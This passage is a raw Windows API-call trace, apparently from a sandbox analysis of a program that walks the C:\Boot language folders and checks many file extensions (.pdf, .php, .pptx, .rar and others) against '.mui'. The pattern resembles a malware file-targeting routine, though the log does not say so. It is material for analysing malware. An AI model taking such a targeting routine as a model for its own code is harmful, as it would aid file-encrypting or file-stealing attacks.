lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0040.437] lstrlenW (lpString=".pct") returned 4 [0040.437] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0040.437] lstrlenW (lpString=".pcx") returned 4 [0040.437] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0040.437] lstrlenW (lpString=".pdd") returned 4 [0040.437] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0040.437] lstrlenW (lpString=".pdf") returned 4 [0040.437] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.437] lstrlenW (lpString=".pdp") returned 4 [0040.437] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0040.437] lstrlenW (lpString=".pef") returned 4 [0040.437] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0040.437] lstrlenW (lpString=".pem") returned 4 [0040.437] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0040.437] lstrlenW (lpString=".pff") returned 4 [0040.437] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0040.437] lstrlenW (lpString=".pfm") returned 4 [0040.437] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0040.437] lstrlenW (lpString=".pfx") returned 4 [0040.437] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0040.437] lstrlenW (lpString=".pgm") returned 4 [0040.437] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0040.437] lstrlenW (lpString=".php") returned 4 [0040.437] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0040.437] lstrlenW (lpString=".php3") returned 5 [0040.437] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0040.437] lstrlenW (lpString=".php4") returned 5 [0040.437] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0040.438] lstrlenW (lpString=".php5") returned 5 [0040.438] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0040.438] lstrlenW (lpString=".phtml") returned 6 [0040.438] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0040.438] lstrlenW (lpString=".pict") returned 5 [0040.438] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0040.438] lstrlenW (lpString=".pl") returned 3 [0040.438] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0040.438] lstrlenW (lpString=".pls") returned 4 [0040.438] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0040.438] lstrlenW (lpString=".pm") returned 3 [0040.438] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0040.438] lstrlenW (lpString=".png") returned 4 [0040.438] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0040.438] lstrlenW (lpString=".pnm") returned 4 [0040.438] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0040.438] lstrlenW (lpString=".pot") returned 4 [0040.438] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0040.438] lstrlenW (lpString=".potm") returned 5 [0040.438] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0040.438] lstrlenW (lpString=".potx") returned 5 [0040.438] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0040.438] lstrlenW (lpString=".ppa") returned 4 [0040.438] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0040.438] lstrlenW (lpString=".ppam") returned 5 [0040.438] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0040.438] lstrlenW (lpString=".ppm") returned 4 [0040.438] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0040.439] lstrlenW (lpString=".pps") returned 4 [0040.439] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0040.439] lstrlenW (lpString=".ppsm") returned 5 [0040.439] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0040.439] lstrlenW (lpString=".ppt") returned 4 [0040.439] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.439] lstrlenW (lpString=".pptm") returned 5 [0040.439] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0040.439] lstrlenW (lpString=".pptx") returned 5 [0040.439] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0040.439] lstrlenW (lpString=".prn") returned 4 [0040.439] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0040.439] lstrlenW (lpString=".ps") returned 3 [0040.439] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0040.439] lstrlenW (lpString=".psb") returned 4 [0040.439] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0040.439] lstrlenW (lpString=".psd") returned 4 [0040.439] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0040.439] lstrlenW (lpString=".pst") returned 4 [0040.439] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0040.439] lstrlenW (lpString=".ptx") returned 4 [0040.439] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0040.439] lstrlenW (lpString=".pub") returned 4 [0040.439] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0040.439] lstrlenW (lpString=".pwm") returned 4 [0040.439] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0040.439] lstrlenW (lpString=".pxr") returned 4 [0040.439] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0040.439] lstrlenW (lpString=".py") returned 3 [0040.440] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0040.440] lstrlenW (lpString=".qt") returned 3 [0040.440] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0040.440] lstrlenW (lpString=".r3d") returned 4 [0040.440] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0040.440] lstrlenW (lpString=".raf") returned 4 [0040.440] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0040.440] lstrlenW (lpString=".rar") returned 4 [0040.440] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0040.440] FindNextFileW (in: hFindFile=0x602de0, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0040.440] FindClose (in: hFindFile=0x602de0 | out: hFindFile=0x602de0) returned 1 [0040.440] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0040.440] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0040.440] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0040.440] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0041.604] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.604] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.604] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0041.604] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0041.604] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0041.604] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0041.604] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0041.605] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.605] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.605] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0041.605] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0041.605] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0041.605] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0041.605] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0041.605] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.605] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.606] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0041.606] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0041.606] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0041.606] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0041.606] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0041.606] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.606] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.606] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0041.606] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0041.606] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0041.606] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0041.607] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0041.607] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.607] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.608] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0041.608] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0041.608] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0041.608] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0041.608] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0041.608] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.608] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.608] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0041.608] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0041.608] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0041.608] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0041.609] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0041.609] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.609] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.609] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0041.610] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0041.610] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0041.610] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0041.610] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0041.610] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.610] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.610] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0041.610] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0041.610] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, 